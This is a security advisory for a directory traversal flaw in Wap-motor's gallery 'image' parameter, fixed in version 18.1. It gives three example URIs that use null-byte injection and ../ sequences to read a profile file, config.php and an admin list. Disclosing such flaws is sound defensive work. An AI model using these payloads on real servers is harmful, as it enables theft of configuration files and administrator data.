Wap-motor 'image' Parameter Directory Traversal Vulnerability

Bugtraq ID:	44223
Class:	Input Validation Error
CVE:	CVE-2009-3123
Remote:	Yes
Local:	No
Published:	Aug 27 2009 12:00AM
Updated:	Aug 27 2009 12:00AM
Credit:	Inj3ct0r
Vulnerable:
Not Vulnerable:

Wap-motor 'image' Parameter Directory Traversal Vulnerability

Wap-motor is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Versions prior to Wap-motor 18.1 are vulnerable.

Wap-motor 'image' Parameter Directory Traversal Vulnerability

Attackers can exploit this issue through a browser.

The following example URIs are available:

http://www.example.com/gallery/gallery.php?image=%00../profil/Twost.prof%00.gif
http://www.example.com/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://www.example.com/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif

Wap-motor 'image' Parameter Directory Traversal Vulnerability

Solution:
Updates are available. Please see the references for more information.

Wap-motor 'image' Parameter Directory Traversal Vulnerability

References:

• Product Homepage (RotorCMS)